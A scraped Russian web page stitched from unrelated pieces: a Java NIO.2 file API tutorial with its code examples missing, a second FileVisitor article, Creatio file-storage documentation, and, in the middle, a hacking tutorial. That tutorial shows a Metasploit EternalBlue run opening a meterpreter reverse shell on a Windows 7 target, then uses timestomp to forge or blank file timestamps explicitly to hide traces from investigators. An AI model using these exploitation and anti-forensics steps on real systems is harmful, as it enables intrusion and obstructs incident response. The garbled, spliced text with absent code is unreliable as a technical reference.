Используя файловый api можно менять атрибуты файлов в обход системы безопасности

Обновлено: 06.07.2024

За основу данной статьи была взята информация из 9-ой главы книги «Oracle Certified Professional Java SE 7 Programmers Exams 1Z0-804 and 1Z0-805». Она была немного изменена (кое-где обрезана, а кое-где дополнена с помощью Google и Википедии). Здесь показаны далеко не все возможности NIO — для более подробной информации следует обратиться к официальной документации. Приятного прочтения.

Немного терминологии

Интерфейс программирования приложений (иногда интерфейс прикладного программирования) (англ. application programming interface, API) — набор готовых классов, процедур, функций, структур и констант, предоставляемых приложением (библиотекой, сервисом) для использования во внешних программных продуктах.

I/O (input/output, Ввод-вывод ) — взаимодействие между обработчиком информации и её поставщиком и/или получателем. Ввод — сигнал или данные, полученные обработчиком, а вывод — сигнал или данные, посланные им (или из него).

NIO ( /*в контексте Java*/ Non-blocking I/O, New I/O) — коллекция прикладных программных интерфейсов для языка Java, предназначенных для реализации высокопроизводительных операций ввода-вывода. Также встречается аббревиатура NIO.2 – она относится к нововведениям относительно этого направления в Java 7.

Символьная ссылка (Symbolic link, симлинк) — специальный файл в файловой системе, содержащий только текстовую строку с указателем. Эта строка трактуется как путь к файлу, который должен быть открыт при попытке обратиться к данному файлу.

Абсолютный путь — это путь, который указывает на одно и то же место в файловой системе, вне зависимости от текущей директории. Полный путь всегда начинается с корневого каталога.

Относительный путь — это путь по отношению к текущему рабочему каталогу.

Немного истории

Изначально Java предоставляла класс File (в пакете java.io) для доступа к файловым системам. Этот класс представляет файл/каталог в файловой системе и позволяет выполнять такие операции, как проверка на существование файла/каталога, получении свойств, и удаление файла/каталога. Тем не менее, первый вариант API не был достаточен для удовлетворения потребностей разработчиков. Ощущалась явная необходимость доработки I/O API.

Краткий список недостатков первой I/O API:

  • Классу File не хватало функциональности. Например не было метода copy для копирования файла/каталога.
  • В классе File определено много методов, которые возвращают Boolean-значение. В случае ошибки, возвращалось false, а не бросалось исключение, что затрудняло обнаружение и исправление ошибок.
  • Класс File не предоставляет хорошей обработки символьных ссылок.
  • Класс File обрабатывает файлы/каталоги неэффективно (проблемы с масштабированием);
  • Класс File предоставляет доступ к ограниченному набору атрибутов файлов, который зачастую недостаточен.

Для преодоления этих проблем, в Java 4 введен NIO (New IO). Ключевые особенности NIO:

В Java 7 был введён пакет java.nio.file для лучшей поддержки и обработки символьных ссылок, полного доступа к атрибутам и работы с файловой системой через интерфейсы или классы, такие как Path, Paths, and Files.

Использование интерфейса Path

Java 7 представляет новую абстракцию для пути, а именно интерфейс Path. Он используется в новых функциях и API, по всему NIO.2. Объект пути содержит имена каталогов и файлов, которые составляют полный путь до файла/каталога, представленного объектом Path; Path содержит методы для извлечения элементов пути, манипуляций с ними и их добавления.

Ниже приведён пример кода, для выполнения на Unux-системе, но пользователи Windows могут раскомментировать одну строку и закомментировать другую, для выполнения примера на своих машиах (см. комментарии в коде). Существование соответствующих файлов и катологов (test и testfile.txt) в файловой системе не обязательно. В этом примере создаётся объект Path и извлекается основная информация, связанная с ним:

Вывод получается такой:

  • Сначала создаётся объект класса Path, с использованием метода get () класса. Данный метод принимает строку, содержащую путь.
  • Обратите внимание на использование управляющего символа '\' в Paths.get("D:\\test\\testfile.txt") для Windows-систем. Без него '\t' будет интерпретироваться как символ табуляции, что приведёт к java.nio.file.InvalidPathException при запуске программы, т.к. символы табуляции не могут содержаться в путях. (На мой взгляд пути Linux-систем более удобны для программистов, т.к. используют символ слэша, не требующий экранирования.)
  • Затем происходит извлечение имени файла с использованием метода getFilename() объекта Path
  • Далле используется метод getRoot() для получения корневого элемента объекта Path и метод getParent() для получения родительской директории целевого файла.
  • В конце данного примера происходит обход елементов пути с помощью цикла foreach. Как альтернативу можно использовать обычный цикл и методы getNameCount() (для получения числа элементов в пути) и getName(index) (для получения элемента по индексу).

Перейдём к другому примеру который включает получение абсолютного пути от относительного пути и нормализацию пути:

  • Метод toUri() возвращает URI (путь который может быть открыт из браузера).
  • Метод toAbsolutePath() возвращает абсолютный путь от данного относительного пути. В случае, если был введён абсолютный путь, метод вернёт его же.
  • Метод normalize() выполняет нормализацию пути, другими словами удаляет ненужные символы (такие как “ . ” и “ .. ”) из объекта Path.
  • Метод toRealPath () возвращает абсолютный путь от полученного пути (как toAbsolutePath ()) и нормализует его (как normalize()). Кроме того, если все параметры выбраны правильно, то он может даже работать с символьными ссылками. Однако, для этого метода необходимо, чтобы конечный файл/каталог существовал в файловой системе (это не является обязательным условием для других методов Path).

Пример вывода при выполнении данного кода (файл Test не должен существовать в файловой системе для аналогичного вывода):

(Пользователи Windows-систем получат sun.nio.fs.WindowsException.translateToIOException вместо sun.nio.fs.UnixException.translateToIOException и т. д. и т.п.)

Пример вывода при выполнении данного кода (файл Test должен существовать в файловой системе для аналогичного вывода):

Интерфейс Path содержит два метода для сравнения объектов Path: equals() and compareTo(). Метод equals() сравнивает пути и возвращает Boolean. Метод compareTo() сравнивает пути посимвольно и возвращает: 0, если пути равны; отрицательное целое значение, если путь в объекте вызывающем метод лексикографически меньше пути в объекте, переданном в качестве параметра; положительное целое значение в противоположном случае.

Последний System.out.println является подсказкой — он выводит путь, который должен быть передан в path2 для аналогичного вывода. Вывод должен получится такой:

Использование класса Files

Рассмотрим класс Files (введён в Java 7, находится в пакете java.nio.file), который можно использовать для выполнения различных операций с файлами и каталогами. Files является служебным классом, это означает, что это final-класс с private-конструктором и содержит только статические методы. В этом классе находится множество методов для выполнения различных действий. Рассмотрим некоторые из них.

Выше был показан пример кода, в котором выяснялось, указывают ли два пути на один файл. Сущесвует способ проверить это с помощью метода isSameFile () из класса Files:

Т.к. тут сравниваются файлы, а не пути, то существование соответствующего файла обязательно (см. подсказку для пути в предыдущем примере) иначе будет получена ошибка java.nio.file.NoSuchFileException.

В случае, если файл по указанному адресу существует, получим такой вывод:

Можно определить, имеем мы дело с файлом или директорией (папкой) с помощью метода isDirectory() класса Files и проверить их существование с помощью метода exists():

Вывод должен получится примерно такой (выбирайте пути в соответствии с вашей ОС и расположением файлов):

Интересный вывод можно получить, если написать Path path = Paths.get("/"); для Unix-систем или Path path = Paths.get("С:\\"); для Windows-систем, т.е. если передать в качестве параметра имя корневого котолога:

Для корневого каталога path.getFileName() возвращает null.

Класс Files содержит методы isReadable(), isWriteable() и isExecutable() для проверки возможности чтения, записи и выполнения файлов:

Метод getAttribute() позволяет получить свойства (атрибуты) файла. Метод принимает переменное число параметров: первый — объект Path; второй — имя атрибута; далее от нуля до нескольких значений LinkOption (это enum):

Коппирование файлов

Теперь рассмотрим коппирование файла/диретории. Для этого используем метод Files.copy(). Сигнатура данного метода:

Path copy(Path source, Path target, CopyOption. . . options)

Первый параметр — путь к исходному файлу, второй — путь к тому файлу, что будет создан в результате копирования (включая имя нового файла), далее можно задать параметры копирования,а можно и не задать, как в примере ниже:

После первого запуска всё должно отработать корректно для корректных путей. Но если данный код без изменений скомпилировать и выполнить повторно, то будет получено исключение java.nio.file.FileAlreadyExistsException. Оно связано с тем, что целевой файл уже существует. Для избежания таких проблем можно указать, чтобы в случае его существования он перезаписывался. Для этого надо немного изменить одну строку кода:

Перемещение файла

Метод для перемещения файла очень похож на метод для копирования:

Path move(Path source, Path target, CopyOption. . . options)

Значения передаваемых параметров совпадают по смыслу. Пример кода отличается от предыдущего минимально:

Если при копировании директории содержащиеся в ней файлы и директории не копировались, то при её перемещении, в случае отсутствия ошибок, перемещается и всё содержимое.

Удаление файла

Посмотрим на пример кода:

Несколько моментов, которые необходимо помнить относительно метода Files.delete():

  • В случае удаления каталога, необходимо, чтобы он был пустым, иначе будет получено исключение (java.nio.file.DirectoryNotEmptyException)
  • Если передать в данный метод символьную ссылку, то будет удалена ссылка, а не целевой файл.
  • Для данного метода необходимо, чтобы файл существовал, иначе будет получено исключение (java.nio.file.NoSuchFileException) . Если необходимо игнорировать данные случаи, то лучше подойдёт метод deleteIfExists(), который удаляет файл в случае его существования и не бросает подобное исключение при его отсутствии.

Обход дерева файлов

При работе с файловой системой может возникнуть необходимость обхода дерева файлов, например при поиске файла или копировании каталога со всем его содержимым. Класс Files содержит два метода, позволяющих обходить дерево файлов. Их сигнатуры приведены ниже:

Оба метода принимают путь, с которого начнётся обход дерева и экземпляр типа FileVisitor, который будет определять поведение при обходе дерева. Второй метод имеет два дополнительных параметра: Set, содержащий опции обхода, и максимальную глубину. Максимальная глубина определяет, насколько уровней каталогов будет происходить обход. Если в её качестве указать 0, то будет рассматриваться только указанный файл, а если указать MAX_VALUE, то будут пройдены все подкаталоги.

FileVisitor — это интерфейс, содержащий следующие методы:

  • FileVisitResult preVisitDirectory(T dir, BasicFileAttributesattrs) — выполняется перед достуом к элементам каталога.
  • FileVisitResult visitFile(T file, BasicFileAttributes attrs) — выполняется при доступе к файлу.
  • FileVisitResult postVisitDirectory(T dir, IOException exc) — выполняется, когда все элементы директории пройдены .
  • FileVisitResult visitFileFailed(T file, IOException exc) — выполняется, если к файлу нет доступа.

Вам необходимо реализовать интерфейс FileVisitor, чтобы передать соответствующий объект в метод walkFileTree(). Но если необходимости реализовывать все четыре метода этого интерфейса нет, то можно просто расширить реализацию класса SimpleFileVisitor, переопределив лишь необходимые методы.

При выполнении данного кода будут выведены все вложенные каталоги и файлы по указанному пути. Вот что следует понять:

  • Объявляется класс MyFileVisitor, унаследованный от SimpleFileVisitor, в котором переопределены два метода: visitFile() (для вывода имени файла) и preVisitDirectory() (для вывода имени директории).
  • Вызывается walkFileTree() в который передаётся объект MyFileVisitor.
  • Метод walkFileTree() начинает выполнение с переданного в него каталога. При этом вызывается метод visitFile() при каждом проходе файла, preVisitDirectory() — перед просмотром элементов директории, postVisitDirectory() — после просмотра элементов директории, visitFileFailed() — в случае отсутствия доступа к файлу/дириктории.
  • Из этих четырёх методов были переопределены только два для вывода имён каталогов и файлов.
  • Можно контролировать поток обхода с помощью возвращаемых этими методами значений (enum FileVisitResult). Их четыре:
    1. CONTINUE: указывает на то, что обход дерева следует продолжить.
    2. TERMINATE: указывает, что обход нужно немедленно прекратить.
    3. SKIP_SUBTREE: указывает, что подкаталоги должны быть пропущены для обхода.
    4. SKIP_SIBLINGS: указывает на то, что обход должен быть остановлен в текущем каталоге и каталогах одного уровня с ним. Если это значение возвращается из preVisitDirectory(), то вложенные файлы/каталоги не обходятся и postVisitDirectory() не срабатывает. Если это значение возвращается из visitFile (), то остальные файлы каталога не обходятся. Если он возвращается из postVisitDirectory (), то остальные каталоги того же уровня не будут обходиться.

Доработка копирования файлов

Возвращаясь к «глупому» копированию каталога в котором что-то есть — используя полученные знания можно реализовать его более логично, относительно результата, ожидаемого пользователем:

В методе preVisitDirectory() происходит копирование посещаемого каталога и аналогично копируется файл в методе visitFile(). Чтобы получить новый путь назначения, используется метод relativize() из класса Path.

Поиск файлов

Поняв принципы обхода дерева файлов, можно легко организовать поиск нужного файла. При поиске конкретного файла/каталога можно проверять соответствие имени файла/каталога с искомым с помощью метода visitFile () или preVisitDirectory (). Однако, если необходимо найти все файлы, соответствующие некоторому шаблону (например, все исходные файлы Java или XML-файлы ), то лучше использовать использовать универсальный символ (glob) или регулярное выражение (regex). Тут пригодится интерфейс PathMatcher. Данный интерфейс реализован для каждой файловой системы и вы можете получить экземпляр этого типа из класса FileSystem используя метод getPathMatcher().

Перед тем, как перейти к примеру стоит пояснить шаблоны Glob (похожи на regex, но немного проще. Если понятие regex для Вас ново, то ближе с ним можно ознакомится здесь — Регулярные выражения в Java). В таблице ниже приведены шаблоны, поддерживаемые glob-синтаксисом:

Шаблон Описание
* Соответствует любой строке любой длины, даже пустой.
** Как и *, но выходит за границы каталогов.
? Любой одиночный символ.
[XYZ] Либо X, либо Y, либо Z.
2 Соответствует любому символу от 0 до 5.
[a–z] Любой строчный символ латинского алфавита.
Либо XYZ или ABC.

Ниже приведён пример кода, который находит все java-файлы в указанном каталоге. Для поиска используется glob-шаблон, но в коментариях приведён regex-шаблон, который можно использовать для этой же цели. Обратите внимание, что в строке с шаблоном сначала указывается его тип (glob или regex), потом ставится доеточие, а потом пишется сам шаблон. Ради интереса можете запустить этот же код убрав первую часть с двоеточием, но сначала просто попробуйте скомпилировать и выполнить:

Отслеживание изменений в каталоге

Предположим, что необходимо написать некое приложение, работающее с файлами (IDE, файловый менеджер или какой-либо редактор). Допустим какой-либо файл, важный для приложения был либо создан, либо изменён, либо удалён из вне и надо сообщить об этом пользователю.

Java 7 предоставляет сервис для слежения за каталогами. Вы можете зарегистрировать в нём каталог, чтобы получать уведомления о любом изменении в каталоге (создание, изменение и удаление файла).

Рассмотрим API этого сервиса на примере. Для этого примера используйте каталог в котором при выполнении программы в бесконечном цикле Вы будете создавать, изменять и удалять файлы — действия должны выводится на консоли. Код ниже:

Пояснения к коду:

  • Получение экземпляра WatchService осуществляется через вызов метода newWatchService() из класса FileSystem, который в свою очередь был получен из объекта класса Path через вызов метода getFileSystem(). Но его (экземпляр FileSystem) можно получить и через вызов метода getDefault() из класса FileSystems, т.е. можно заменить watchService = path.getFileSystem().newWatchService();
    на
    watchService = FileSystems.getDefault().newWatchService();
  • Далее происходит регистрация каталога на данном сервисе. Из объекта Path можно вызвать два метода register(), которые различаются принимаемыми параметрами. В нашем случае — это метод принимающий объект сервиса и переменное число параметров, определяющих отслеживаемые события.
  • OVERFLOW указывает, что несколько уведомлений о событиях были отброшены или пропущены. ENTRY_CREATE, ENTRY_DELETE, ENTRY_MODIFY соответствуют созданию, редактированию и удалению.
  • В цикле происходит ожидание события. Здесь можно использовать три метода для уведомления:
    • Метод poll() возвращает ключи очереди, если они есть, в противном случае сразу завершается.
    • Метод poll(long, TimeUnit) возвращает ключи очереди, если они есть, в противном случае ждёт указанное число единиц времени.
    • Метод take() возвращает ключ очереди, если он доступен, иначе ждёт, пока он не будет доступен.

    Основное различие между poll() и take() в том, что poll() это неблокирующий вызов, а take() — блокирующий.

    Когда ключ возвращается, то одно или более событий могут быть помещены в очередь, именно поэтому используется ещё один цикл (для перебора всех событий).

    Утверждается, что лучший способ избежать детектирования – не оставлять следов и вообще не прикасаться к файлам.

    image

    Автор: drd_

    Утверждается, что лучший способ избежать детектирования – не оставлять следов и вообще не прикасаться к файлам. Однако на практике в большинстве случаев, невозможно не взаимодействовать с файловой системой тем или иным образом. Соответственно, для запутывания следов и сокрытие активности вполне разумный шаг – изменение файловых атрибутов, чего можно добиться при помощи модуля Timestomp из Metasploit.

    Что такое значения MACE?

    Атрибуты файлов представляют собой значения Modified-Accessed-Created-Entry (MACE) в формате дата/время, обновляемых во время определенных операций с файлом. Modified – дата последней модификации файла, Accessed – дата последнего доступа к файлу, Created – дата создания файла, Entry – дата изменения заголовка MTF. Эти атрибуты используются администраторами в том числе при расследовании инцидентов и отслеживании вредоносной активности.

    В идеале во время хакинга лучше вообще не оставлять следов. Изменение атрибутов файлов стоит на втором месте по эффективности. Этот метод не является панацеей, но может помочь в сокрытии операций с файловой системой.

    С другой стороны, следует помнить и про здравый смысл, поскольку если даты будут сильно в прошлом или будущем, сразу возникнут подозрения. Как и в случае, если во всех четырех атрибутах стоит одна и та же дата и время.

    Шаг 1: Настройка рабочей среды

    Мы будем использовать копию Windows 7 в качестве целевой системы и Kali Linux в качестве рабочей машины. Вначале нужно создать несколько тестовых файлов в целевой системе. Я также создал новую папку MyFiles, где будут храниться все созданные файлов. Сами файлы могут быть любыми (текстовых более, чем достаточно).


    Рисунок 1: Тестовые файлы в целевой системе

    Шаг 2: Получение meterpreter-сессии

    После всех настроек на рабочей машине в терминале вводим команду msfconsole и запускаем Metasploit.

    Целевая система уязвима к эксплоиту EternalBlue, который будет использоваться для получения шелла. На самом деле, особого значение не имеет, чем вы будете пользоваться, поскольку все заканчивается получением meterpreter-сессии на целевой машине.

    msf5 > use exploit/windows/smb/ms17_010_eternalblue

    msf5 exploit(windows/smb/ms17_010_eternalblue) > run

    [*] Started reverse TCP handler on 10.10.0.1:1234

    [*] 10.10.0.104:445 - Connecting to target for exploitation.

    [+] 10.10.0.104:445 - Connection established for exploitation.

    [+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply

    [*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)

    [*] 10.10.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes

    [*] 10.10.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv

    [*] 10.10.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1

    [+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply

    [*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.

    [*] 10.10.0.104:445 - Sending all but last fragment of exploit packet

    [*] 10.10.0.104:445 - Starting non-paged pool grooming

    [+] 10.10.0.104:445 - Sending SMBv2 buffers

    [+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.

    [*] 10.10.0.104:445 - Sending final SMBv2 buffers.

    [*] 10.10.0.104:445 - Sending last fragment of exploit packet!

    [*] 10.10.0.104:445 - Receiving response from exploit packet

    [+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!

    [*] 10.10.0.104:445 - Sending egg to corrupted connection.

    [*] 10.10.0.104:445 - Triggering free of corrupted buffer.

    [*] Sending stage (206403 bytes) to 10.10.0.104

    [*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49233) at 2019-04-08 10:41:26 -0500

    Шаг 3: Проверка файлов в целевой системе

    После того как целевая система скомпрометирована, вводим команду pwd для просмотра текущей рабочей директории.

    Поскольку мы создали новую папку на диске C, заходим туда и проверяем наличие созданных ранее файлов.

    meterpreter > cd C:/Myfiles

    Mode Size Type Last modified Name

    100666/rw-rw-rw- 12 fil 2019-04-08 12:43:24 -0500 example.txt

    100666/rw-rw-rw- 7 fil 2019-04-08 12:43:55 -0500 test1.txt

    100666/rw-rw-rw- 13 fil 2019-04-08 12:43:55 -0500 test2.txt

    100666/rw-rw-rw- 127 fil 2019-04-08 12:43:55 -0500 test3.txt

    Шаг 4: Изменение атрибутов файлов при помощи Timestomp

    Timestomp представляет собой пост эксплуатационный модуль, доступный в Meterpreter, который можно использовать для модификаций файловых атрибутов (значений MACE). Очень удобно, поскольку мы можем изменить время и дату любого файла, с которым работали, с минимальным риском оказаться обнаруженным.

    В meterpreter-сессии для просмотра справочной информации для модуля используем команду timestomp help:

    meterpreter > timestomp help

    Usage: timestomp <file(s)> OPTIONS

    -a <opt> Set the "last accessed" time of the file

    -b Set the MACE timestamps so that EnCase shows blanks

    -c <opt> Set the "creation" time of the file

    -e <opt> Set the "mft entry modified" time of the file

    -f <opt> Set the MACE of attributes equal to the supplied file

    -m <opt> Set the "last written" time of the file

    -r Set the MACE timestamps recursively on a directory

    -v Display the UTC MACE values of the file

    -z <opt> Set all four attributes (MACE) of the file

    1. Просмотр файловых атрибутов

    Необходимо указать нужную опцию и имя файла. Например, для просмотра атрибутов MACE используем флаг –v.

    Entry Modified: 2019-04-08 13:44:25 -0500

    2. Изменение значений Modified, Accessed, Created и Entry Modified

    Мы можем изменить любой из этих атрибутов, указав нужную опцию и корректную дату в формате DateTime. Например, для изменения значения «modified» используем флаг –m.

    Теперь при повторном просмотре атрибутов видны изменения.

    meterpreter > timestomp example.txt -v

    [*] Showing MACE attributes for example.txt

    Modified : 2012-02-14 08:10:03 -0600

    Accessed : 2019-04-08 13:43:24 -0500

    Created : 2019-04-08 13:43:24 -0500

    Entry Modified: 2019-04-08 13:44:25 -0500

    Схожим образом изменяется атрибут «accessed» при помощи флага –a.

    И атрибут «created» при помощи флага –c.

    В завершении меняем атрибут «entry modified», используя флаг –e.

    Теперь при просмотре файла видим, что появились изменения.

    3. Установка во все атрибуты одного значения

    Мы также можем изменить все атрибуты сразу, если хотим, чтобы все значения были одинаковы, при помощи флага –z.

    Изменения появились.

    4. Перенос значений из другого файла

    При помощи флага –f можно унаследовать значения атрибутов из файла, уже существующего в системе. Однако у меня не получился этот трюк.

    5. Обнуление значений

    Мы можем полностью обнулить атрибуты, используя флаг -b

    Теперь при просмотре атрибутов файла будут показаны бессмысленные даты из будущего.

    При помощи флага –r можно рекурсивно обнулить атрибуты всех файлов в текущей директории.

    Теперь при просмотре на целевой машине все даты оказываются пустыми.


    Рисунок 2: Атрибуты файлов после рекурсивного обнуления

    В этой статье мы немного познакомились с атрибутами файлов и научились запутывать следы. После компрометирования целевой машины и получения meterpreter-сессии мы воспользовались модулем Timestomp и изменили значения MACE. Тем не менее, следует отметить, что метод не является волшебной таблеткой, но все же лучше, чем ничего.

    В этой статье мы рассмотрим интересную особенность NIO2 – интерфейс FileVisitor .

    Все операционные системы и несколько сторонних приложений имеют функцию поиска файлов, в которой пользователь определяет критерии поиска.

    Этот интерфейс-то, что нам нужно для реализации такой функциональности в Java-приложении. Если вам нужно выполнить поиск всех файлов .mp3 , найти и удалить файлы .class или найти все файлы, к которым не был получен доступ за последний месяц, то этот интерфейс-то, что вам нужно.

    Все классы, необходимые для реализации этой функции, собраны в один пакет:

    2. Как работает FileVisitor

    С помощью интерфейса FileVisitor вы можете перемещаться по дереву файлов на любую глубину и выполнять любые действия с файлами или каталогами, найденными в любой ветви.

    Типичная реализация интерфейса FileVisitor выглядит следующим образом:

    Четыре метода интерфейса позволяют нам указать требуемое поведение в ключевых точках процесса обхода: перед доступом к каталогу, при посещении файла или при возникновении сбоя и после доступа к каталогу соответственно.

    Возвращаемое значение на каждом этапе имеет тип FileVisitResult и управляет ходом обхода. Возможно, вы хотите пройтись по файловому дереву в поисках определенного каталога и завершить процесс, когда он будет найден, или вы хотите пропустить определенные каталоги или файлы.

    • FileVisitResult.ПРОДОЛЖИТЬ – указывает, что обход дерева файлов должен продолжаться после завершения метода, возвращающего его
    • FileVisitResult.ЗАВЕРШИТЬ – останавливает обход дерева файлов, и никакие другие каталоги или файлы не посещаются
    • FileVisitResult.SKIP_SUBTREE – этот результат имеет значение только при возврате из каталога previsit API, в другом месте, он работает как ПРОДОЛЖИТЬ . Это указывает на то, что текущий каталог и все его подкаталоги следует пропустить
    • FileVisitResult.SKIP_SIBLINGS – указывает, что обход должен продолжаться без посещения братьев и сестер текущего файла или каталога. Если вызывается на этапе preVisitDirectory , то даже текущий каталог пропускается и postVisitDirectory не вызывается

    Наконец, должен быть способ запустить процесс обхода, возможно, когда пользователь нажимает кнопку поиск в графическом пользовательском интерфейсе после определения критериев поиска. Это самая простая часть.

    Нам просто нужно вызвать статический walkFileTree API класса Files и передать ему экземпляр класса Path , который представляет начальную точку обхода, а затем экземпляр нашего FileVisitor :

    3. Пример Поиска Файлов

    В этом разделе мы собираемся реализовать приложение для поиска файлов с использованием интерфейса FileVisitor . Мы хотим, чтобы пользователь мог указать полное имя файла с расширением и начальный каталог для поиска.

    3.1. Основной Класс

    Мы будем называть этот класс FileSearchExample.java :

    Нам еще предстоит реализовать методы интерфейса. Обратите внимание, что мы создали конструктор, который принимает имя файла для поиска и путь для начала поиска. Мы будем использовать начальный путь только в качестве базового варианта, чтобы сделать вывод о том, что файл не найден.

    В следующих подразделах мы реализуем каждый метод интерфейса и обсудим его роль в данном конкретном примере приложения.

    3.2. API-интерфейс preVisitDirectory

    Давайте начнем с реализации preVisitDirectory API:

    Как мы уже говорили ранее, этот API вызывается каждый раз, когда процесс обнаруживает новый каталог в дереве. Его возвращаемое значение определяет, что произойдет дальше, в зависимости от того, что мы решим. Именно в этот момент мы бы пропустили определенные каталоги и исключили их из пространства примеров поиска.

    Давайте решим не выделять какие-либо каталоги и просто искать во всех из них.

    3.3. Файловый файл посещения

    Далее мы реализуем Файл посещения API. Именно здесь происходит основное действие. Этот API вызывается каждый раз при обнаружении файла. Мы пользуемся этим, чтобы проверить атрибуты файла, сравнить их с нашими критериями и получить соответствующий результат:

    Однако здесь можно сделать так много, особенно после прочтения раздела Атрибуты файла . Вы можете проверить время создания, время последнего изменения или время последнего доступа или несколько атрибутов, доступных в параметре attrs , и принять соответствующее решение.

    3.4. API visitFileFailed

    Далее мы реализуем API visitFileFailed . Этот API вызывается, когда определенный файл недоступен для JVM. Возможно, он был заблокирован другим приложением или это может быть просто проблема с разрешениями:

    3.5. API postVisitDirectory

    Наконец, мы реализуем postVisitDirectory API. Этот API вызывается каждый раз, когда каталог полностью пройден:

    Однако, если возвращаемое значение false , это означает, что мы только что закончили обход подкаталога и все еще существует вероятность найти файл в каком-либо другом подкаталоге. Итак, мы продолжаем обход.

    Теперь мы можем добавить наш основной метод для выполнения Примера поиска файлов приложения:

    4. Заключение

    В этой статье мы рассмотрели некоторые из менее часто используемых функций, доступных в API файловой системы Java 7 NIO.2, в частности интерфейс FileVisitor . Нам также удалось пройти этапы создания приложения для поиска файлов, чтобы продемонстрировать его функциональность.

    Полный исходный код примеров, используемых в этой статье, доступен в проекте Github .

    Начиная с версии 7.17.2 ядро Creatio предоставляет набор классов и интерфейсов по работе с файлами:

    • пространство имен Terrasoft.File.Abstractions — интерфейсы и абстрактные классы, описывающие логику работы с файлами в Creatio.
    • пространство имен Terrasoft.File — конкретные реализации абстракций, использующиеся в системе.

    Местоположение файла и файловые локаторы

    Местоположение файла в файловом хранилище задается с помощью файлового локатора — объекта, который реализует интерфейс Terrasoft.File.Abstractions.IFileLocator .

    Файловый локатор обязательно содержит уникальный идентификатор файла RecordId .

    Можно создавать разные реализации файловых локаторов для различных файловых хранилищ. В зависимости от специфики хранилища файловый локатор может содержать дополнительные свойства, позволяющие определить место хранения файла. Например, класс Terrasoft.File.EntityFileLocator — это реализация файлового локатора для текущего файлового хранилища Creatio Файлы и ссылки ( Attachments ). Объект класса EntityFileLocator , кроме свойства RecordId , имеет свойство EntitySchemaName — имя схемы объекта, в котором хранится файл, например: "ActivityFile" или "CaseFile".

    Все методы по работе с файлами оперируют с файловыми локаторами.

    Файлы и файловые хранилища

    Структура файла в Creatio:

    Метаданные описывают свойства файла:

    • имя;
    • размер в байтах;
    • дата создания и т. п.

    Основой для метаданных файла является абстрактный класс Terrasoft.File.Abstractions.Metadata.FileMetadata . Примером его конкретной реализации является класс Terrasoft.File.Metadata.EntityFileMetadata для описания метаданных файлов в объекте Файлы и ссылки ( Attachments ).

    Контент — это непосредственно содержимое файла.

    Метаданные файла и его контент хранятся в Creatio в разных хранилищах:

    • Хранилище метаданных файлов должно реализовывать интерфейс Terrasoft.File.Abstractions.Metadata.IFileMetadataStorage .
    • Хранилище контента файла должно реализовывать интерфейс Terrasoft.File.Abstractions.Metadata.IFileContentStorage .

    Конкретные реализации этих интерфейсов скрывают в себе нюансы взаимодействия с различными системами хранения файлов: Файлы и ссылки ( Attachments ) Creatio, файловая система сервера, Amazon S3, Google Drive и т. п.

    Интерфейс Terrasoft.File.Abstractions.IFile предоставляет необходимые методы для работы с файлами, хранящимися в любых типах файловых хранилищ. Реализация этого интерфейса означает "файл" в терминах Creatio. Методы в этом интерфейсе обеспечивают асинхронную работу с файлами. Синхронные версии этих методов находятся в расширяющем классе Terrasoft.File.Abstractions.FileUtils .

    Получить файл ( IFileFactory )

    Интерфейс Terrasoft.File.Abstractions.IFileFactory предоставляет методы для создания и получения объектов некоторого класса, реализующего интерфейс Terrasoft.File.Abstractions.IFile . Этот интерфейс реализует фабрика, доступ к которой обеспечивается через методы класса Terrasoft.File.FileFactoryUtils , расширяющего класс UserConnection . Соответственно, для успешной работы с файлами необходимо иметь экземпляр UserConnection или SystemUserConnection .

    Место хранения нового или существующего файла однозначно определяется его файловым локатором. Для получения доступа к существующему файлу необходимо знать его уникальный идентификатор RecordId . Для нового файла этот идентификатор формируется самостоятельно и передается в метод по созданию локатора.

    Реализовать и зарегистрировать новый тип файлового хранилища

    Для реализации нового типа файлового хранилища необходимо:

    1. Создать свою реализацию интерфейса Terrasoft.File.Abstractions.Content.IFileContentStorage , который описывает необходимое API для работы с хранилищем файлового контента.
    2. Если текущее хранилище метаданных файлов ( Terrasoft.File.Metadata.EntityFileMetadataStorage ) по каким-то причинам не подходит, необходимо реализовать собственное хранилище метаданных, свой тип метаданных и свой тип файлового локатора:
      • Хранилище данных должно реализовывать интерфейс Terrasoft.File.Abstractions.Metadata.IFileMetadataStorage .
      • Файловый локатор должен реализовывать интерфейс Terrasoft.File.Abstractions.IFileLocator .
      • Класс метаданных должен быть наследником абстрактного класса Terrasoft.File.Abstractions.Metadata.FileMetadata .
    3. Новые хранилища контента и метаданных файлов необходимо зарегистрировать в соответствующих справочниках "SysFileContentStorage" и "SysFileMetadataStorage".

    Исключения при работе с файлами

    При доступе к любому из свойств или методов интерфейса IFile , если метаданные файла не найдены.

    Если подходящее по типу локатора хранилище метаданных файла не найдено

    Настройка активного хранилища

    Настройка активного хранилища происходит путем установки значения системной настройки Активное хранилище содержимого файлов (код " ActiveFileContentStorage ").

    Читайте также: